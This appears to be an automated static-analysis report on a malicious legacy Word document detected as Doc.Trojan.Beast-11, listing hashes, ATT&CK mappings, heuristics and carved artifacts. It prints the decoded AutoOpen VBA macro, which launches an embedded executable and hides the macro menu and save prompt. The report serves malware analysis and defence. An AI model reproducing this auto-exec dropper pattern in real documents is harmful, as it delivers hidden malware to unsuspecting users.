Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 65535d849d3fdd0f…

MALICIOUS

Office (OLE)

137.5 KB Created: 1999-05-24 15:23:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 53f1469fd93db2d1828808055950c517 SHA-1: 73f3c52688078eedd431b2fc616cae2c582b7141 SHA-256: 65535d849d3fdd0f280a33bbdde265097e4a78939e90c5fe183a091ee0eb3eeb
388 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an OLE document containing a VBA macro with an AutoOpen subroutine. This macro is designed to activate an embedded PE executable, identified as 'embedded_office_0001422a.exe'. The presence of the embedded executable and the WinExec API reference strongly indicate that the document is intended to deliver and execute a malicious payload. The document body discusses World War I, which appears to be a lure.

Heuristics 9

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Trojan.Beast-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Beast-11
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • Reference to WinExec API high SC_STR_WINEXEC
    Reference to WinExec API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub AutoOpen()
      If DateDiff("s", CDate(GetSetting("3BEPb", "Startup", "date", 0)), Time) > 300 Then

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 550 bytes
SHA-256: 78cdfd5c7b7d676d59dcfe5a4fd35335223508543fedf50abf0b9e35ddbb6e38
Detection
ClamAV: Doc.Trojan.Beast-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
  If DateDiff("s", CDate(GetSetting("3BEPb", "Startup", "date", 0)), Time) > 300 Then
    ActiveDocument.Shapes("3BEPb").Activate
    Selection.HomeKey Unit:=wdStory
    CommandBars("Tools").Controls("Macro").Visible = False
    Options.SaveNormalPrompt = False
  End If
End Sub
embedded_office_0001422a.exe embedded-pe Office MZ+PE at offset 0x1422A 58326 bytes
SHA-256: 630c4834055fa144756374813e4075f125f30e4f7b2db089f6d8bc17795558cb
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_989134934/Ole10Native 41644 bytes
SHA-256: deb4beb8cae41618185b8564aa3c8ab8c00c14e054c4edc30fe15221efca1168